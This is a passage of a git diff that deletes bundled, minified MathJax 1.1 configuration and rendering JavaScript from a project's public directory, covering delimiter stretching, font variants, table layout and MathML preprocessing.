o=(t/(t+1))*(x-f);f=x-o;m+=o+f-g.bbox.h;while(u-->0){while(t-->0){if(!this.msieCloneNodeBug){j=g.cloneNode(true)}else{j=this.Element("span");this.createChar(j,A.ext,B,s)}m-=f;this.placeBox(this.addBox(i,j),0,m,true)}m+=o-g.bbox.d;if(A.mid&&u){this.placeBox(z,0,m-z.bbox.h,true);t=l;m+=-(z.bbox.h+z.bbox.d)+o+f-g.bbox.h}}}else{m+=(w-p)/2;if(A.mid){this.placeBox(z,0,m-z.bbox.h,true);m+=-(z.bbox.h+z.bbox.d)}m+=(w-p)/2}this.placeBox(q,0,m-q.bbox.h,true);m-=q.bbox.h+q.bbox.d;v.bbox={w:Math.max(r.bbox.w,g.bbox.w,q.bbox.w,z.bbox.w),lw:Math.min(r.bbox.lw,g.bbox.lw,q.bbox.lw,z.bbox.lw),rw:Math.max(r.bbox.rw,g.bbox.rw,q.bbox.rw,z.bbox.rw),h:0,d:-m};v.scale=B;v.offset=0.55*v.bbox.w;v.isMultiChar=true;this.setStackWidth(i,v.bbox.w)},extendDelimiterH:function(u,h,z,B,r){var l=this.createStack(u,true);var i=this.createBox(l),v=this.createBox(l);this.createChar(i,(z.left||z.rep),B,r);this.createChar(v,(z.right||z.rep),B,r);var f=this.Element("span");this.createChar(f,z.rep,B,r);var y={bbox:{h:-this.BIGDIMEN,d:-this.BIGDIMEN}},g;this.placeBox(i,-i.bbox.lw,0,true);var p=(i.bbox.rw-i.bbox.lw)+(v.bbox.rw-v.bbox.lw)-0.05,o=i.bbox.rw-i.bbox.lw-0.025,q;if(z.mid){y=this.createBox(l);this.createChar(y,z.mid,B,r);p+=y.bbox.w}if(h>p){var A=f.bbox.rw-f.bbox.lw,j=A-0.05,s,m,t=(z.mid?2:1);m=s=Math.ceil((h-p)/(t*j));j=(h-p)/(t*s);q=(s/(s+1))*(A-j);j=A-q;o-=f.bbox.lw+q;while(t-->0){while(s-->0){if(!this.msieCloneNodeBug){g=f.cloneNode(true)}else{g=this.Element("span");this.createChar(g,z.rep,B,r)}this.placeBox(this.addBox(l,g),o,0,true);o+=j}if(z.mid&&t){this.placeBox(y,o,0,true);o+=y.bbox.w-q;s=m}}}else{q=Math.min(p-h,i.bbox.w/2);o-=q/2;if(z.mid){this.placeBox(y,o,0,true);o+=y.bbox.w}o-=q/2}this.placeBox(v,o,0,true);u.bbox={w:o+v.bbox.rw,lw:0,rw:o+v.bbox.rw,H:Math.max(i.bbox.h,f.bbox.h,v.bbox.h,y.bbox.h),D:Math.max(i.bbox.d,f.bbox.d,v.bbox.d,y.bbox.d),h:f.bbox.h,d:f.bbox.d};u.scale=B;u.isMultiChar=true;this.setStackWidth(l,u.bbox.w)},createChar:function(o,k,h,f){var n=o,p="",j={fonts:[k[1]],noRemap:true};if(f&&f===a.VARIANT.BOLD){j.fonts=[k[1]+"-bold",k[1]]}if(typeof(k[1])!=="string"){j=k[1]}if(k[0] instanceof Array){for(var l=0,g=k[0].length;l<g;l++){p+=String.fromCharCode(k[0][l])}}else{p=String.fromCharCode(k[0])}if(h!==1){n=this.addElement(o,"span",{style:{fontSize:this.Percent(h)},scale:h});this.handleVariant(n,j,p);o.bbox=n.bbox}else{this.handleVariant(o,j,p)}if(k[2]){o.style.marginLeft=this.Em(k[2])}if(this.AccentBug&&o.bbox.w===0){n.firstChild.nodeValue+=this.NBSP;e.createSpace(o,0,0,-o.offsetWidth/e.em)}},positionDelimiter:function(g,f){f-=g.bbox.h;g.bbox.d-=f;g.bbox.h+=f;if(f){if(this.safariVerticalAlignBug||this.msieVerticalAlignBug||this.konquerorVerticalAlignBug||(this.operaVerticalAlignBug&&g.isMultiChar)){if(g.firstChild.style.display===""&&g.style.top!==""){g=g.firstChild;f-=parseFloat(g.style.top)}g.style.position="relative";g.style.top=this.Em(-f)}else{g.style.verticalAlign=this.Em(f);if(e.ffVerticalAlignBug){e.createRule(g.parentNode,g.bbox.h,0,0)}}}},handleVariant:function(v,j,o){var u="",s,y,p,g,x,z,f=v;if(o.length===0){return}if(!v.bbox){v.bbox={w:0,h:-this.BIGDIMEN,d:-this.BIGDIMEN,rw:-this.BIGDIMEN,lw:this.BIGDIMEN}}if(!j){j=this.FONTDATA.VARIANT[a.VARIANT.NORMAL]}z=j;for(var w=0,t=o.length;w<t;w++){j=z;s=o.charCodeAt(w);y=o.charAt(w);if(y===this.PLANE1){w++;s=o.charCodeAt(w)+119808-56320;if(this.FONTDATA.RemapPlane1){var A=this.FONTDATA.RemapPlane1(s,j);s=A.n;j=A.variant}}else{var q,l,r=this.FONTDATA.RANGES;for(q=0,l=r.length;q<l;q++){if(r[q].name==="alpha"&&j.noLowerCase){continue}var k=j["offset"+r[q].offset];if(k&&s>=r[q].low&&s<=r[q].high){if(r[q].remap&&r[q].remap[s]){s=k+r[q].remap[s]}else{s=s-r[q].low+k;if(r[q].add){s+=r[q].add}}if(j["variant"+r[q].offset]){j=this.FONTDATA.VARIANT[j["variant"+r[q].offset]]}break}}}if(j.remap&&j.remap[s]){if(j.remap[s] instanceof Array){var h=j.remap[s];s=h[0];j=this.FONTDATA.VARIANT[h[1]]}else{s=j.remap[s];if(j.remap.variant){j=this.FONTDATA.VARIANT[j.remap.variant]}}}if(this.FONTDATA.REMAP[s]&&!j.noRemap){s=this.FONTDATA.REMAP[s]}p=this.lookupChar(j,s);y=p[s];if(j!==x&&!y[5].img){if(u.length){this.addText(f,u);u=""}f=v;x=g;if(j!==x){if(x){f=this.addElement(v,"span")}else{g=j}}this.handleFont(f,p,f!==v);x=j}u=this.handleChar(f,p,y,s,u);if(y[0]/1000>v.bbox.h){v.bbox.h=y[0]/1000}if(y[1]/1000>v.bbox.d){v.bbox.d=y[1]/1000}if(v.bbox.w+y[3]/1000<v.bbox.lw){v.bbox.lw=v.bbox.w+y[3]/1000}if(v.bbox.w+y[4]/1000>v.bbox.rw){v.bbox.rw=v.bbox.w+y[4]/1000}v.bbox.w+=y[2]/1000}if(u.length){this.addText(f,u)}if(v.scale&&v.scale!==1){v.bbox.h*=v.scale;v.bbox.d*=v.scale;v.bbox.w*=v.scale;v.bbox.lw*=v.scale;v.bbox.rw*=v.scale}if(o.length==1&&p.skew&&p.skew[s]){v.bbox.skew=p.skew[s]}},handleFont:function(h,f,j){h.style.fontFamily=f.family;if(!(e.FontFaceBug&&f.isWebFont)){var g=f.style||"normal",i=f.weight||"normal";if(g!=="normal"||j){h.style.fontStyle=g}if(i!=="normal"||j){h.style.fontWeight=i}}},handleChar:function(g,f,l,k,j){var i=l[5];if(i.img){return this.handleImg(g,f,l,k,j)}if(i.isUnknown&&this.FONTDATA.DELIMITERS[k]){if(j.length){this.addText(g,j)}var h=g.scale;e.createDelimiter(g,k,0,1,f);g.scale=h;l[0]=g.bbox.h*1000;l[1]=g.bbox.d*1000;l[2]=g.bbox.w*1000;l[3]=g.bbox.lw*1000;l[4]=g.bbox.rw*1000;return""}if(i.c==null){if(k<=65535){i.c=String.fromCharCode(k)}else{i.c=this.PLANE1+String.fromCharCode(k-119808+56320)}}if(l[2]||!this.msieAccentBug||j.length){return j+i.c}e.createShift(g,l[3]/1000);e.createShift(g,(l[4]-l[3])/1000);this.addText(g,i.c);e.createShift(g,-l[4]/1000);return""},handleImg:function(g,f,j,i,h){return h},lookupChar:function(j,p){var h,f;if(!j.FONTS){var o=this.FONTDATA.FONTS;var l=(j.fonts||this.FONTDATA.VARIANT.normal.fonts);if(!(l instanceof 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g=this.HTMLspanElement();if(g.style.fontSize!=""){f.fontsize=g.style.fontSize}}if(f.fontsize&&!this.mathsize){f.mathsize=f.fontsize}if(f.scriptlevel!==0){if(f.scriptlevel>2){f.scriptlevel=2}h=Math.pow(this.Get("scriptsizemultiplier"),f.scriptlevel);f.scriptminsize=e.length2em(f.scriptminsize);if(h<f.scriptminsize){h=f.scriptminsize}}h*=e.length2em(f.mathsize);return h},HTMLgetVariant:function(){var f=this.getValues("mathvariant","fontfamily","fontweight","fontstyle");if(this.style){var h=this.HTMLspanElement();if(h.style.fontFamily){f.fontfamily=h.style.fontFamily}if(h.style.fontWeight){f.fontweight=h.style.fontWeight}if(h.style.fontStyle){f.fontStyle=h.style.fontStyle}}var g=f.mathvariant;if(this.variantForm){g="-"+e.fontInUse+"-variant"}if(f.fontfamily&&!this.mathvariant){if(!f.fontweight&&f.mathvariant.match(/bold/)){f.fontweight="bold"}if(!f.fontstyle&&f.mathvariant.match(/italic/)){f.fontstyle="italic"}return{FONTS:[],fonts:[],noRemap:true,defaultFont:{family:f.fontfamily,style:f.fontstyle,weight:f.fontweight}}}if(f.fontweight==="bold"){g={normal:a.VARIANT.BOLD,italic:a.VARIANT.BOLDITALIC,fraktur:a.VARIANT.BOLDFRAKTUR,script:a.VARIANT.BOLDSCRIPT,"sans-serif":a.VARIANT.BOLDSANSSERIF,"sans-serif-italic":a.VARIANT.SANSSERIFBOLDITALIC}[g]||g}else{if(f.fontweight==="normal"){g={bold:a.VARIANT.normal,"bold-italic":a.VARIANT.ITALIC,"bold-fraktur":a.VARIANT.FRAKTUR,"bold-script":a.VARIANT.SCRIPT,"bold-sans-serif":a.VARIANT.SANSSERIF,"sans-serif-bold-italic":a.VARIANT.SANSSERIFITALIC}[g]||g}}if(f.fontstyle==="italic"){g={normal:a.VARIANT.ITALIC,bold:a.VARIANT.BOLDITALIC,"sans-serif":a.VARIANT.SANSSERIFITALIC,"bold-sans-serif":a.VARIANT.SANSSERIFBOLDITALIC}[g]||g}else{if(f.fontstyle==="normal"){g={italic:a.VARIANT.NORMAL,"bold-italic":a.VARIANT.BOLD,"sans-serif-italic":a.VARIANT.SANSSERIF,"sans-serif-bold-italic":a.VARIANT.BOLDSANSSERIF}[g]||g}}return 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l=(k.bbox.h-k.bbox.d)/2-e.TeX.axis_height*k.scale;if(e.safariVerticalAlignBug&&k.lastChild.nodeName==="IMG"){k.lastChild.style.verticalAlign=e.Em(parseFloat(k.lastChild.style.verticalAlign||0)/e.em-l/k.scale)}else{if(e.konquerorVerticalAlignBug&&k.lastChild.nodeName==="IMG"){k.style.position="relative";k.lastChild.style.position="relative";k.lastChild.style.top=e.Em(l/k.scale)}else{k.style.verticalAlign=e.Em(-l/k.scale)}}k.bbox.h-=l;k.bbox.d+=l;if(k.bbox.rw>k.bbox.w){k.bbox.ic=k.bbox.rw-k.bbox.w;e.createBlank(k,k.bbox.ic);k.bbox.w=k.bbox.rw}}this.HTMLhandleSpace(k);this.HTMLhandleColor(k);return k},HTMLcanStretch:function(f){if(!this.Get("stretchy")){return false}var g=this.data.join("");if(g.length>1){return false}g=e.FONTDATA.DELIMITERS[g.charCodeAt(0)];return(g&&g.dir==f.substr(0,1))},HTMLstretchV:function(l,k,n){this.HTMLremoveColor();var f=this.getValues("symmetric","maxsize","minsize");var j=this.HTMLspanElement(),g;var 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G=this.HTMLgetScale();var j=e.createStack(C),g;var i=e.createBox(j);this.HTMLmeasureChild(this.base,i);if(this.data[this.base]){if(w!=null){e.Remeasured(this.data[this.base].HTMLstretchV(i,A,w),i)}else{if(A!=null){e.Remeasured(this.data[this.base].HTMLstretchH(i,A),i)}}}e.placeBox(i,0,0);var h=(this.data[this.sup]||this.data[this.sub]||this).HTMLgetScale();var E=e.TeX.x_height*G,o=e.TeX.scriptspace*G*0.75;var f,k;if(this.HTMLnotEmpty(this.data[this.sup])){f=e.createBox(j);e.Measured(this.data[this.sup].toHTML(f),f);f.bbox.w+=o;f.bbox.rw=Math.max(f.bbox.w,f.bbox.rw)}if(this.HTMLnotEmpty(this.data[this.sub])){k=e.createBox(j);e.Measured(this.data[this.sub].toHTML(k),k);k.bbox.w+=o;k.bbox.rw=Math.max(k.bbox.w,k.bbox.rw)}var y=e.TeX.sup_drop*h,x=e.TeX.sub_drop*h;var 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i=d.config["HTML-CSS"];if(i){i.availableFonts=[];i.preferredFont=null}else{d.config["HTML-CSS"]={availableFonts:[],preferredFont:null}}}},Chrome:function(f){e.Augment({useProcessingFrame:true,rfuzz:0.05,AccentBug:true,AdjustSurd:true,allowWebFonts:(f.versionAtLeast("4.0")?"otf":"svg"),safariNegativeSpaceBug:true,safariWebFontSerif:[""]})},Opera:function(f){f.isMini=(navigator.appVersion.match("Opera Mini")!=null);e.config.styles[".MathJax .merror"]["vertical-align"]=null;e.Augment({useProcessingFrame:true,operaHeightBug:true,operaVerticalAlignBug:true,operaFontSizeBug:f.versionAtLeast("10.61"),negativeSkipBug:true,zeroWidthBug:true,FontFaceBug:true,PaddingWidthBug:true,allowWebFonts:(f.versionAtLeast("10.0")&&!f.isMini?"otf":false),adjustAvailableFonts:function(j){for(var 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-
-MathJax.Hub.Register.StartupHook("HTML-CSS Jax Ready",function(){var c="1.1";var a=MathJax.ElementJax.mml,b=MathJax.OutputJax["HTML-CSS"];a.mtable.Augment({toHTML:function(X){X=this.HTMLcreateSpan(X);if(this.data.length===0){return X}var aJ=this.getValues("columnalign","rowalign","columnspacing","rowspacing","columnwidth","equalcolumns","equalrows","columnlines","rowlines","frame","framespacing","align","useHeight","width","side","minlabelspacing");var r=aJ.width.match(/%$/);var ag=b.createStack(X);var am=this.HTMLgetScale();var aH=-1;var w=[],I=[],l=[],O=[],K=[],aF,aE,v=-1,aC,t,ay,R;var aL=b.FONTDATA.baselineskip*am*aJ.useHeight,Z=b.FONTDATA.lineH*am,af=b.FONTDATA.lineD*am;for(aF=0,aC=this.data.length;aF<aC;aF++){R=this.data[aF];ay=(R.type==="mlabeledtr"?aH:0);O[aF]=[];w[aF]=I[aF]=0;for(aE=ay,t=R.data.length+ay;aE<t;aE++){if(l[aE]==null){if(aE>v){v=aE}K[aE]=b.createStack(b.createBox(ag));l[aE]=-b.BIGDIMEN}O[aF][aE]=b.createBox(K[aE]);b.Measured(R.data[aE-ay].toHTML(O[aF][aE]),O[aF][aE]);if(R.data[aE-ay].isMultiline){O[aF][aE].style.width="100%"}if(O[aF][aE].bbox.h>w[aF]){w[aF]=O[aF][aE].bbox.h}if(O[aF][aE].bbox.d>I[aF]){I[aF]=O[aF][aE].bbox.d}if(O[aF][aE].bbox.w>l[aE]){l[aE]=O[aF][aE].bbox.w}}}if(w[0]+I[0]){w[0]=Math.max(w[0],Z)}if(w[O.length-1]+I[O.length-1]){I[O.length-1]=Math.max(I[O.length-1],af)}var al=aJ.columnspacing.split(/ /),S=aJ.rowspacing.split(/ /),ah=aJ.columnalign.split(/ /),L=aJ.rowalign.split(/ /),N=aJ.columnlines.split(/ /),k=aJ.rowlines.split(/ /),ap=aJ.columnwidth.split(/ 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aq,aw=0,U=0,V=0,aB=0,aG=0,o=[],B=[],ai=1;if(aJ.equalcolumns&&aJ.width!=="auto"){if(r){aq=(100/(v+1)).toFixed(2).replace(/\.?0+$/,"")+"%";for(aF=0,aC=Math.min(v+1,ap.length);aF<aC;aF++){ap[aF]=aq}aq=0;aw=1;aG=v+1;for(aF=0,aC=Math.min(v+1,al.length);aF<aC;aF++){aq+=al[aF]}}else{aq=b.length2em(aJ.width);for(aF=0,aC=Math.min(v+1,al.length);aF<aC;aF++){aq-=al[aF]}aq/=v+1;for(aF=0,aC=Math.min(v+1,ap.length);aF<aC;aF++){l[aF]=aq}}}else{for(aF=0,aC=Math.min(v+1,ap.length);aF<aC;aF++){if(ap[aF]==="auto"){U+=l[aF]}else{if(ap[aF]==="fit"){B[aG]=aF;aG++;U+=l[aF]}else{if(ap[aF].match(/%$/)){o[aB]=aF;aB++;V+=l[aF];aw+=b.length2em(ap[aF],1)}else{l[aF]=b.length2em(ap[aF]);U+=l[aF]}}}}if(r){aq=0;for(aF=0,aC=Math.min(v,al.length);aF<aC;aF++){aq+=al[aF]}if(aw>0.98){ai=0.98/aw;aw=0.98}}else{if(aJ.width==="auto"){if(aw>0.98){ai=V/(U+V);aq=U+V}else{aq=U/(1-aw)}}else{aq=b.length2em(aJ.width);for(aF=0,aC=Math.min(v+1,al.length);aF<aC;aF++){aq-=al[aF]}}for(aF=0,aC=o.length;aF<aC;aF++){l[o[aF]]=b.length2em(ap[o[aF]],aq*ai);U+=l[o[aF]]}if(Math.abs(aq-U)>0.01){if(aG&&aq>U){aq=(aq-U)/aG;for(aF=0,aC=B.length;aF<aC;aF++){l[B[aF]]+=aq}}else{aq=aq/U;for(aE=0;aE<=v;aE++){l[aE]*=aq}}}if(aJ.equalcolumns){var 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E=b.createStack(X,false,"100%");b.addBox(E,ag);b.alignBox(ag,Q.indentalign,0);if(Q.indentshift&&Q.indentalign!==a.INDENTALIGN.CENTER){ag.style[{left:"Left",right:"Right"}[Q.indentalign]]=b.Em(b.length2em(Q.indentshift))}K[aH].parentNode.parentNode.removeChild(K[aH].parentNode);b.addBox(E,K[aH]);b.alignBox(K[aH],ah[aH],0);if(b.msieRelativeWidthBug){ag.style.top=K[aH].style.top=""}if(r){ag.style.width=aJ.width;X.bbox.width="100%"}K[aH].style.marginRight=K[aH].style.marginLeft=b.Em(b.length2em(aJ.minlabelspacing))}if(!r){this.HTMLhandleSpace(X)}var aj=this.HTMLhandleColor(X);if(aj&&r){if(!d){d=b.createFrame(ag,aI,0,aA,0,"none");b.addBox(ag,d);b.placeBox(d,0,ax,true);d.style.width="100%"}d.style.backgroundColor=aj.style.backgroundColor;d.parentNode.insertBefore(d,d.parentNode.firstChild);aj.parentNode.removeChild(aj)}return X},HTMLhandleSpace:function(d){d.style.paddingLeft=d.style.paddingRight=".1667em"}});a.mtd.Augment({toHTML:function(e,d,g){e=this.HTMLcreateSpan(e);if(this.data[0]){var f=b.Measured(this.data[0].toHTML(e),e);if(g!=null){b.Remeasured(this.data[0].HTMLstretchV(e,d,g),e)}else{if(d!=null){b.Remeasured(this.data[0].HTMLstretchH(e,d),e)}}e.bbox=f.bbox}this.HTMLhandleSpace(e);this.HTMLhandleColor(e);return e},HTMLstretchH:a.mbase.HTMLstretchH,HTMLstretchV:a.mbase.HTMLstretchV});MathJax.Hub.Startup.signal.Post("HTML-CSS mtable Ready");MathJax.Ajax.loadComplete(b.autoloadDir+"/mtable.js")});
-
-MathJax.Ajax.loadComplete("[MathJax]/config/MML_HTMLorMML-full.js");
diff --git a/public/MathJax/config/MML_HTMLorMML.js b/public/MathJax/config/MML_HTMLorMML.js
deleted file mode 100644
index ba9507a5..00000000
--- a/public/MathJax/config/MML_HTMLorMML.js
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- *  /MathJax/config/MML_HTMLorMML.js
- *  
- *  Copyright (c) 2010-11 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Config({delayJaxRegistration: true});
-
-MathJax.Ajax.Preloading(
-  "[MathJax]/jax/input/MathML/config.js",
-  "[MathJax]/jax/output/HTML-CSS/config.js",
-  "[MathJax]/jax/output/NativeMML/config.js",
-  "[MathJax]/config/MMLorHTML.js",
-  "[MathJax]/extensions/mml2jax.js",
-  "[MathJax]/extensions/MathZoom.js",
-  "[MathJax]/extensions/MathMenu.js",
-  "[MathJax]/jax/element/mml/jax.js",
-  "[MathJax]/extensions/toMathML.js",
-  "[MathJax]/jax/input/MathML/jax.js"
-);
-
-MathJax.Hub.Config({"v1.0-compatible":false});
-
-MathJax.InputJax.MathML=MathJax.InputJax({id:"MathML",version:"1.1.4",directory:MathJax.InputJax.directory+"/MathML",extensionDir:MathJax.InputJax.extensionDir+"/MathML",entityDir:MathJax.InputJax.directory+"/MathML/entities",config:{useMathMLspacing:false}});MathJax.InputJax.MathML.Register("math/mml");MathJax.InputJax.MathML.loadComplete("config.js");
-
-MathJax.OutputJax["HTML-CSS"]=MathJax.OutputJax({id:"HTML-CSS",version:"1.1.5",directory:MathJax.OutputJax.directory+"/HTML-CSS",extensionDir:MathJax.OutputJax.extensionDir+"/HTML-CSS",autoloadDir:MathJax.OutputJax.directory+"/HTML-CSS/autoload",fontDir:MathJax.OutputJax.directory+"/HTML-CSS/fonts",webfontDir:MathJax.OutputJax.fontDir+"/HTML-CSS",config:{scale:100,minScaleAdjust:50,availableFonts:["STIX","TeX"],preferredFont:"TeX",webFont:"TeX",imageFont:"TeX",undefinedFamily:"STIXGeneral,'Arial Unicode MS',serif",showMathMenu:true,styles:{".MathJax_Display":{"text-align":"center",margin:"1em 0em"},".MathJax .merror":{"background-color":"#FFFF88",color:"#CC0000",border:"1px solid #CC0000",padding:"1px 3px","font-family":"serif","font-style":"normal","font-size":"90%"},".MathJax_Preview":{color:"#888888"},"#MathJax_Tooltip":{"background-color":"InfoBackground",color:"InfoText",border:"1px solid black","box-shadow":"2px 2px 5px #AAAAAA","-webkit-box-shadow":"2px 2px 5px #AAAAAA","-moz-box-shadow":"2px 2px 5px #AAAAAA","-khtml-box-shadow":"2px 2px 5px #AAAAAA",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')",padding:"3px 4px"}}}});if(MathJax.Hub.Browser.isMSIE&&document.documentMode>=9){delete MathJax.OutputJax["HTML-CSS"].config.styles["#MathJax_Tooltip"].filter}if(!MathJax.Hub.config.delayJaxRegistration){MathJax.OutputJax["HTML-CSS"].Register("jax/mml")}MathJax.Hub.Register.StartupHook("End Config",[function(b,c){var a=b.Insert({minBrowserVersion:{Firefox:3,Opera:9.52,MSIE:6,Chrome:0.3,Safari:2,Konqueror:4},inlineMathDelimiters:["$","$"],displayMathDelimiters:["$$","$$"],multilineDisplay:true,minBrowserTranslate:function(f){var e=b.getJaxFor(f),k=["[Math]"],j;var h=document.createElement("span",{className:"MathJax_Preview"});if(e.inputJax.id==="TeX"){if(e.root.Get("displaystyle")){j=a.displayMathDelimiters;k=[j[0]+e.originalText+j[1]];if(a.multilineDisplay){k=k[0].split(/\n/)}}else{j=a.inlineMathDelimiters;k=[j[0]+e.originalText.replace(/^\s+/,"").replace(/\s+$/,"")+j[1]]}}for(var g=0,d=k.length;g<d;g++){h.appendChild(document.createTextNode(k[g]));if(g<d-1){h.appendChild(document.createElement("br"))}}f.parentNode.insertBefore(h,f)}},(b.config["HTML-CSS"]||{}));if(b.Browser.version!=="0.0"&&!b.Browser.versionAtLeast(a.minBrowserVersion[b.Browser]||0)){c.Translate=a.minBrowserTranslate;b.Config({showProcessingMessages:false});MathJax.Message.Set("Your browser does not support MathJax",null,4000);b.Startup.signal.Post("MathJax not supported")}},MathJax.Hub,MathJax.OutputJax["HTML-CSS"]]);MathJax.OutputJax["HTML-CSS"].loadComplete("config.js");
-
-MathJax.OutputJax.NativeMML=MathJax.OutputJax({id:"NativeMML",version:"1.1.4",directory:MathJax.OutputJax.directory+"/NativeMML",extensionDir:MathJax.OutputJax.extensionDir+"/NativeMML",config:{scale:100,showMathMenu:true,showMathMenuMSIE:true,styles:{"DIV.MathJax_MathML":{"text-align":"center",margin:".75em 0px"}}}});if(!MathJax.Hub.config.delayJaxRegistration){MathJax.OutputJax.NativeMML.Register("jax/mml")}MathJax.OutputJax.NativeMML.loadComplete("config.js");
-
-(function(c){var h="1.1.1";var a=MathJax.Hub.CombineConfig("MMLorHTML",{prefer:{MSIE:"MML",Firefox:"MML",Opera:"HTML",other:"HTML"}});var e={Firefox:3,Opera:9.52,MSIE:6,Chrome:0.3,Safari:2,Konqueror:4};var b=(c.Browser.version==="0.0"||c.Browser.versionAtLeast(e[c.Browser]||0));var g=false;if(!c.Browser.isIE9){try{new ActiveXObject("MathPlayer.Factory.1");g=true}catch(f){}}var d=(c.Browser.isFirefox&&c.Browser.versionAtLeast("1.5"))||(c.Browser.isMSIE&&g)||(c.Browser.isOpera&&c.Browser.versionAtLeast("9.52"));c.Register.StartupHook("End Config",function(){var i=(a.prefer&&typeof(a.prefer)==="object"?a.prefer[MathJax.Hub.Browser]||a.prefer.other||"HTML":a.prefer);if(b||d){if(d&&(i==="MML"||!b)){if(MathJax.OutputJax.NativeMML){MathJax.OutputJax.NativeMML.Register("jax/mml")}else{c.config.jax.unshift("output/NativeMML")}c.Startup.signal.Post("NativeMML output selected")}else{if(MathJax.OutputJax["HTML-CSS"]){MathJax.OutputJax["HTML-CSS"].Register("jax/mml")}else{c.config.jax.unshift("output/HTML-CSS")}c.Startup.signal.Post("HTML-CSS output selected")}}else{c.PreProcess.disabled=true;c.prepareScripts.disabled=true;MathJax.Message.Set("Your browser does not support MathJax",null,4000);c.Startup.signal.Post("MathJax not supported")}})})(MathJax.Hub);MathJax.Ajax.loadComplete("[MathJax]/config/MMLorHTML.js");
-
-MathJax.Extension.mml2jax={version:"1.1.2",config:{preview:"alttext"},MMLnamespace:"http://www.w3.org/1998/Math/MathML",PreProcess:function(e){if(!this.configured){this.config=MathJax.Hub.CombineConfig("mml2jax",this.config);if(this.config.Augment){MathJax.Hub.Insert(this,this.config.Augment)}this.InitBrowser();this.configured=true}if(typeof(e)==="string"){e=document.getElementById(e)}if(!e){e=document.body}this.ProcessMathArray(e.getElementsByTagName("math"));if(e.getElementsByTagNameNS){this.ProcessMathArray(e.getElementsByTagNameNS(this.MMLnamespace,"math"))}var d=document.getElementsByTagName("html")[0];if(d){for(var c=0,b=d.attributes.length;c<b;c++){var a=d.attributes[c];if(a.nodeName.substr(0,6)==="xmlns:"&&a.nodeValue===this.MMLnamespace){this.ProcessMathArray(e.getElementsByTagName(a.nodeName.substr(6)+":math"))}}}},ProcessMathArray:function(b){var a;if(b.length){if(this.MathTagBug){for(a=b.length-1;a>=0;a--){if(b[a].nodeName==="MATH"){this.ProcessMathFlattened(b[a])}else{this.ProcessMath(b[a])}}}else{for(a=b.length-1;a>=0;a--){this.ProcessMath(b[a])}}}},ProcessMath:function(e){var d=e.parentNode;var a=document.createElement("script");a.type="math/mml";d.insertBefore(a,e);if(this.AttributeBug){var b=this.OuterHTML(e);if(this.CleanupHTML){b=b.replace(/<\?import .*?>/i,"").replace(/<\?xml:namespace .*?\/>/i,"");b=b.replace(/&nbsp;/g,"&#xA0;")}MathJax.HTML.setScript(a,b);d.removeChild(e)}else{var c=MathJax.HTML.Element("span");c.appendChild(e);MathJax.HTML.setScript(a,c.innerHTML)}if(this.config.preview!=="none"){this.createPreview(e,a)}},ProcessMathFlattened:function(f){var d=f.parentNode;var b=document.createElement("script");b.type="math/mml";d.insertBefore(b,f);var c="",e,a=f;while(f&&f.nodeName!=="/MATH"){e=f;f=f.nextSibling;c+=this.NodeHTML(e);e.parentNode.removeChild(e)}if(f&&f.nodeName==="/MATH"){f.parentNode.removeChild(f)}b.text=c+"</math>";if(this.config.preview!=="none"){this.createPreview(a,b)}},NodeHTML:function(e){var c,b,a;if(e.nodeName==="#text"){c=this.quoteHTML(e.nodeValue)}else{if(e.nodeName==="#comment"){c="<!--"+e.nodeValue+"-->"}else{c="<"+e.nodeName.toLowerCase();for(b=0,a=e.attributes.length;b<a;b++){var d=e.attributes[b];if(d.specified){c+=" "+d.nodeName.toLowerCase().replace(/xmlns:xmlns/,"xmlns")+"=";var f=d.nodeValue;if(f==null&&d.nodeName==="style"&&e.style){f=e.style.cssText}c+='"'+this.quoteHTML(f)+'"'}}c+=">";if(e.outerHTML!=null&&e.outerHTML.match(/(.<\/[A-Z]+>|\/>)$/)){for(b=0,a=e.childNodes.length;b<a;b++){c+=this.OuterHTML(e.childNodes[b])}c+="</"+e.nodeName.toLowerCase()+">"}}}return c},OuterHTML:function(d){if(d.nodeName.charAt(0)==="#"){return this.NodeHTML(d)}if(!this.AttributeBug){return d.outerHTML}var c=this.NodeHTML(d);for(var b=0,a=d.childNodes.length;b<a;b++){c+=this.OuterHTML(d.childNodes[b])}c+="</"+d.nodeName.toLowerCase()+">";return c},quoteHTML:function(a){if(a==null){a=""}return a.replace(/&/g,"&#x26;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;")},createPreview:function(b,a){var c;if(this.config.preview==="alttext"){var d=b.getAttribute("alttext");if(d!=null){c=[this.filterText(d)]}}else{if(this.config.preview instanceof Array){c=this.config.preview}}if(c){c=MathJax.HTML.Element("span",{className:MathJax.Hub.config.preRemoveClass},c);a.parentNode.insertBefore(c,a)}},filterText:function(a){return a},InitBrowser:function(){var b=MathJax.HTML.Element("span",{id:"<",className:"mathjax",innerHTML:"<math><mi>x</mi><mspace /></math>"});var a=b.outerHTML||"";this.AttributeBug=a!==""&&!(a.match(/id="&lt;"/)&&a.match(/class="mathjax"/)&&a.match(/<\/math>/));this.MathTagBug=b.childNodes.length>1;this.CleanupHTML=MathJax.Hub.Browser.isMSIE}};MathJax.Hub.Register.PreProcessor(["PreProcess",MathJax.Extension.mml2jax]);MathJax.Ajax.loadComplete("[MathJax]/extensions/mml2jax.js");
-
-(function(a,c,e,b,h){var i="1.1";var g=a.CombineConfig("MathZoom",{delay:400,styles:{"#MathJax_Zoom":{position:"absolute","background-color":"#F0F0F0",overflow:"auto",display:"block","z-index":301,padding:".5em",border:"1px solid black",margin:0,"font-family":"serif","font-size":"85%","font-weight":"normal","font-style":"normal","text-align":"left","text-indent":0,"text-transform":"none","line-height":"normal","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none","box-shadow":"5px 5px 15px #AAAAAA","-webkit-box-shadow":"5px 5px 15px #AAAAAA","-moz-box-shadow":"5px 5px 15px #AAAAAA","-khtml-box-shadow":"5px 5px 15px #AAAAAA",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')"},"#MathJax_ZoomOverlay":{position:"absolute",left:0,top:0,"z-index":300,display:"inline-block",width:"100%",height:"100%",border:0,padding:0,margin:0,"background-color":"white",opacity:0,filter:"alpha(opacity=0)"}}});var 